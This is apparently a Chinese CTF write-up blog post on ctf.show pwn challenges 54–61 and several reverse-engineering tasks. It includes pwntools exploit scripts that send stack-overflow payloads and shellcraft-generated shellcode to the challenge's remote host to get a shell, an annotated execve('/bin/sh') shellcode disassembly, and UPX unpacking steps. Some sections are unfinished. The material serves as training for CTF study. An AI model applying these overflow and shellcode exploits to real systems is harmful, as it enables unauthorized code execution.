context(arch = 'i386',os = 'linux',log_level = 'debug')
pwnfile = './pwn54'
#io = process(pwnfile)
io = remote('pwn.challenge.ctf.show',28242)
pld = cyclic(0x100)
io.sendlineafter('Username:\n', pld)
# method 1
recv = io.recv()
password = recv.split(b'aa,', 1)[1]
print(password)
# # method 2
# io.recvuntil('aa,')
# password = io.recv(50)
# print(password)
有两种接收的方式,第一种是利用split
对接收到的全部数据根据分隔符进行分割,输出后面的部分;第二种则是读取分隔符后的内容,长度可以随意取更大的值。 泄露出密码后,nc连接远程(或写在前面的exp中新建立连接),此时输入正确密码和任意用户名即可得flag:
pwn55
考察点:
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
pwnfile = './pwn55'
#io = process(pwnfile)
io = remote('pwn.challenge.ctf.show',28239)
elf = ELF(pwnfile)
flag = elf.sym['flag']
flag1 = elf.sym['flag_func1']
flag2 = elf.sym['flag_func2']
pld = b'A'*48 + p32(flag1) + p32(flag2) + p32(flag) + p32(0xACACACAC) + p32(0xBDBDBDBD)
io.sendlineafter('flag: ', pld)
io.interactive()
pwn56 ~ pwn57
考察点:认识32、64位shellcode
pwn56:
- 描述:
先了解一下简单的32位shellcode吧
这题直接运行就可以拿到shell,这不重要,重要的是理解shellcode都做了什么。
首先查看保护:
NX关闭,说明栈可执行shellcode。
ida查看函数:
代码逻辑一目了然。重点是看懂这里的反汇编代码:
public start
start proc near
push 68h ; 'h'
push 732F2F2Fh
push 6E69622Fh
mov ebx, esp ; file
xor ecx, ecx ; argv
xor edx, edx ; envp
push 0Bh
pop eax
int 80h ; LINUX - sys_execve
start endp
_text ends
参考官方wp对其逐个分析学习下:
刚开始的连续三个push
指令,是为了先将需要传递给sys_execve
函数的参数存入栈中等待传递,有意思的地方在于实际上这三个push拼接后只作为sys_execve
的其中一个参数/bin/sh
而不是所有,如果直接传/bin/sh
不合适,因为这不符合对齐的原则:7%4≠0
,这里巧妙地将h
独立开来,保证该参数能够完整传递。
【长图警告 Σ( ° △ °|||)︴<点我查看>】
接着,将当前已经拼接完整的/bin///sh
参数地址存入ebx,然后通过两个xor将剩余两个参数即命令行参数和环境变量设置为NULL,然后
push 0xB
pop eax
将0xB(11,是sys_execve的系统调用号)先压栈再弹栈存入eax,最后,int 0x80
中0x80
是特殊的中断号,会触发操作系统内核中的中断处理程序,通常用于用户态程序发起系统调用,此时控制权会转移到内核态,接收传递来的系统调用号和其他参数执行相应系统调用函数。
在现代操作系统中,通常使用更高效的方法(如 syscall 指令)来发起系统调用,但
int 0x80
仍然是理解和学习系统调用机制的重要部分。
综上可以体会到,一个小小的shellcode设计如此精妙且高效。
pwn57:
- 描述:
先了解一下简单的64位shellcode吧
amd64的shellcode和i386的整体过程差不多。刚开始将 rax 寄存器的值(通常用于存放函数返回值)压入栈中,目的是保留 rax 的值,以便后续使用;传递/bin/sh
时由于一次能传8字节,补一个/
就能满足对齐要求,同样也是先存入寄存器再压入栈中,然后根据调用约定顺序相互配合传给对应的寄存器。最终,同样将系统调用号0x59
传递从而触发syscall
。
pwn58 ~ pwn59
考察点:简单ret2shellcode、shellcraft模块的基本使用、函数传参时的对齐问题
pwn58:
- 描述:
32位 无限制
查看程序保护与执行情况:
触发了段错误并且根据提示是栈溢出然后ret2shellcode。
查看ida:
发现main函数无法反编译,其他函数可以,因此main函数只能分析反汇编代码:
根据报错提示定位到失败位置:
ctfshow函数中用了不安全的gets,显然漏洞点最有可能在这了:
查看其反汇编代码:
在调用ctfshow前后,发现多次出现了:
lea eax, [ebp+s]
刚开始它的作用是将传递给ctfshow(更确切来说是gets)的参数s从[ebp+s]取出压入栈,当ctfshow返回后,最终却直接call eax
,也就是说获取到的输入又以一种看似循环的方式由存入[ebp+s]到仍旧存储在[ebp+s]中,并且还可以当函数来调用,同时[ebp+s]是在栈中,这就给shellcode的利用创造天然条件。因此,可用pwntools自带模块生成shellcode直接作为输入,从而调用执行:
from pwn import *
exe = ELF("./pwn58")
context(arch='i386',os='linux')
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("pwn.challenge.ctf.show", 28211)
return r
def pwn(r):
shellcode = asm(shellcraft.i386.linux.sh())
r.sendafter('Attach it!', shellcode)
def main():
r = conn()
pwn(r)
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
这题的关键就在于能读懂汇编代码,找到关键可疑位置处,能联想到和shellcode的利用条件有所关联。
pwn59:
原理和pwn58一样,只不过架构变了而已,且注意将shellcode生成的架构指定修改成amd64。
pwn60
考察点:简单ret2shellcode
- 描述:
入门难度shellcode
查看程序的保护与执行情况:
能够触发段错误,存在栈溢出。
查看ida:
显然漏洞点是gets()
,无限制读取输入,然后通过strncpy()
将其复制到buf2中。如果此时buf2中具有可执行权限,那么就可以执行shellcode。查看buf2所在偏移:
在bss段中,通过内存映射查看该范围内的权限:
然而却发现,该段内存没有可执行权限,直到将程序放在另一台ubuntu18的靶机上发现此时映射的结果又不一样了:
查看官方wp后发现是libc版本的问题,正好是glibc-2.27
,版本差异较大,所以对应的偏移等也有些差异。
所以思路很明确了,生成shellcode作为输入,然后跳转到buf2从而执行。
from pwn import *
exe = ELF("./pwn60")
context(log_level='debug',arch='i386',os='linux')
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("pwn.challenge.ctf.show", 28208)
return r
def pwn(r):
pad1 = 112
buf2_addr = 0x804a080
shellcode = asm(shellcraft.sh())
pld = shellcode.ljust(pad1, b'A') + p32(buf2_addr)
r.sendline(pld)
def main():
r = conn()
pwn(r)
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
这里的ljust
是将shellcode未能填满的部分都填充为A。
pwn61
考察点:
- 描述:
输出了什么?
查看程序保护与运行情况:
可以发现这里的地址出现了随机值,并且出现段错误。
首先通过gdb先算出padding为24。
查看ida函数:
v5存储输入的值,并且v5所在地址会提前被打印出来,由于程序开启了PIE,所以每次该地址都是随机的。用gets来读取v5中输入的值,显然存在栈溢出。由于保护中表明栈可执行,按照习惯先用vmmap查看下具体是哪个部分(为了兼容libc环境,这几题都用的ubuntu18来做题):
但是并不像前面的题目一样,能够看出可利用的vector
所在的偏移范围,到这里卡住了不知该如何前进。学习官方wp,让我们注意接下来的汇编指令leave
,该指令相当于MOV SP,BP;POP BP
,会释放栈空间,重置bp和sp指针,而当我们反汇编查看用shellcraft生成的shellcode:
# -*- coding: utf-8 -*-
from pwn import *
# 生成 64 位 Linux shellcode
shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64')
# 反汇编并打印
print(disasm(shellcode))
可以发现在
回过头看ida发现v5所在地址距离上一个栈帧的指针(这里的s
)偏移为0x10,
pwn62
考察点:
REVERSE
萌新赛
数学不及格
考察点:斐波那契数列、elf逆向还原函数参数、十六进制转可读字符串
丢到ida反编译后,首先我们要了解main函数尤其是括号内各参数的基本含义:
int argc
: argc 是一个整数,表示命令行参数的数量,包括程序名称本身。例如,如果命令行输入是./program arg1 arg2
,则 argc 为 3。const char **argv
: argv 是一个指向字符串的指针数组,包含所有命令行参数。argv[0] 是程序的名称,argv[1] 是第一个参数,依此类推。const char **envp
: envp 是一个可选参数,指向环境变量的指针数组。每个环境变量都是一个字符串,格式为 "KEY=VALUE"。
注意:不是所有编译器都支持 envp 参数。
另外,这里的__cdecl
是调用约定,指定如何调用函数(如参数如何传递和栈如何清理),它是 C 语言的默认调用约定,支持可变参数列表。
注意到这里用到了argv[],也能看出来这个main函数实际上是接收了4个参数,且都是十六进制数:
还有个较陌生的函数strtol
,来自于c标准库,用于将字符串转换为长整型(long),分析其原型:
- nptr:要转换的字符串。
- endptr:用于指向未转换部分的指针。如果转换成功,指向字符串中第一个非数字字符的位置。
- end:指定基数,比如值为16意味着输入字符串被视为十六进制数。
main函数整体逻辑: 首先判断argc是否为5个,不是则输出错误信息并退出程序,然后分别将四个参数使用strtol函数转换为整数,分别存储到v10、v11、v12和v4中。接着将v4减去25923传入函数f,并将返回值存储到v9中。然后通过一系列运算条件做判断,如果不满足则输出相应错误信息并退出程序。最后如果满足求和运算,则输出成功信息。
因为逆向中一般和算法有关,上面出现的都是一些正常的简单判断逻辑,这里的函数f是关键,分析可知f包含着斐波那契数列算法: 关于斐波那契数列,其中每个数都是前两个数的和。数列的定义如下:
- 初始条件:
- ( F(0) = 0 )
- ( F(1) = 1 )
- 递推关系:
- ( F(n) = F(n-1) + F(n-2) ) (对于 ( n \geq 2 ))
伪代码中,首先将从main接收过来的整型参数a1(v4)作为需要计算的斐波那契数列中的第几个数,首先判断参数是否在规定范围(1,200]
内,然后用malloc动态分配内存空间存放斐波那契数列的值,接着用for循环根据斐波那契数列的递推关系,直到计算出第a1个数的值停止循环,最后释放内存并把返回的计算结果赋给main的v9。f中我们无法算出项数a1(v4)和对应的数列值v3,回到main中结合所有判断条件看看有无新发现,即使不明白题意,先抽丝剥茧,发现合并同类项后最终可以得到只含v4和v9的表达式,如下: 到这一步,可以借助在线的斐波那契数列计算网站,生成指定数量的数列,然后看哪一项的值和这里v9的粗略值591286729879(因为v4/3几乎可以忽略不计,即使v4项数大)最为接近,从而我们就可以大致推出来v4的值是多少,我们生成60项,最终在58项时看到了一样的值,因此此时v4
≈
58,v9≈
591286729879 发现还可以推算出来其他参数的粗略值:
这里要注意根据ida的伪代码,v4还要进行处理。
所以到这一步就知道了题目的用意,是想让我们通过斐波那契数列算法,结合已知的表达式,逆向还原出函数的各个传参值,这题的核心就是数学中的解方程和估算。那么此时我们只要将还原出的参数分别按照定义好的参数位置摆放,执行程序时传参,就可以输出最后的成功语句,注意都要是十六进制,这样才能满足表达式中的计算: 根据成功语句提示,把这些参数组合在一起,解码成字符串就可以得到flag,而要把十六进制转换成字符串,显然要借助编码来完成转义,比如ascii码,每两个十六进制数字代表一个字符(字节),可以将其分组再转换,首先要将十六进制字符串转换为字节流,再将字节流解码为 UTF-8 字符串,可以得到可读的文本格式,因为字节流才是计算机处理数据的基本单位,能够准确表示原始数据:
这里的编码用ascii解码也能得到同样结果:
flag白给
考察点:upx脱壳、ollydbg基本使用、windows PE基本逆向
运行程序,初步观察意图:
也就是要输入正确的序列号才能给flag,这也看起来像逆向中基本的软件破解类型。 但是当丢到ida后发现找不到main函数,并且反编译后发现逻辑也很奇怪,不像是程序的正常逻辑,此时猜测可能是做了加密混淆被加壳了,既然静态分析遇到阻碍,尝试丢到动态调试器ollydbg中,弹出的警告窗也告知我们这个程序很有可能被处理过:
丢到查壳工具如Exeinfo PE:
分析出是upx壳,并且告知签名像是来自于UPX packer,还提供解该upx壳的方式和链接:
unpack "upx.exe -d" from http://upx.github.io or any UPX/Generic unpacker
尝试脱upx壳: 重新丢到ida后发现函数和各个显示项就正常了,也能反编译出正常逻辑的伪代码,shift+F12后没有发现和flag相关的字符串,我们现在逆向破解的目的就是找到输入序列号弹出提示弹窗对应的逻辑代码,看看能不能修改其逻辑达到逆向破解的效果,而提示符是中文的,要运行程序后才能显示,显然此时用动态调试器更合适,丢到OD,根据弹窗逻辑搜索字符串“成功”:
双击该位置,就会跳转到对应反汇编代码处:
由该片段的反汇编代码分析及推测,显然这里的
HackAv
很可能就是正确的序列号,即flag。
签退
考察点:
内部赛
(未完待续)真的是签到
拿到的文件名是zip
,通过010editor检查其文件头,确实是zip压缩包文件,将其重命名为xx.zip
,然后解压,提示需要密码,先看看是否是伪加密,找到压缩源文件目录区: 这里的全局方式位标记是奇数,说明可能是伪加密,尝试改成0000,覆盖原来的zip文件,成功解压:
分析该exe,存在asp压缩壳:
用ask脱壳工具脱壳并检查:
未知保护但检测出了upx packer的签名,说明可能还嵌套了一层upx壳,尝试upx脱壳:
直接用官方自带命令脱壳失败,说明它可能是个变种壳,即除了常规upx壳外还可能被
UPXR
、UPXSCREAMBLE
等做了其他处理,可以先尝试用upxfix
解决这些干扰后再重新用官方命令脱壳,然而和官方命令的输出一样提示该文件不是upx壳: 不要盲目绝对相信输出,也有可能只是程序做了防护措施或加了干扰,此时可以尝试搜索报错中的输出,并没有找到什么很有价值的信息,但部分文章提示到可以尝试看看文件中是否包含UPX的魔术字符,显然上面的检测工具能检测到签名也是和魔术字符有关。把解完asp壳的exe丢到010 editor:
确实有,但由于经验尚浅,暂时看不出其他更多额外隐藏特征。 最后的办法只能用动态调试器手动尝试脱壳了:
批量生产的伪劣产品
考察点:
来一个派森
考察点:
checkme.exe - 蓝奏云
派森
的谐音显然是python,可以推测这是用python写完然后打包成exe的程序。
Comments NOTHING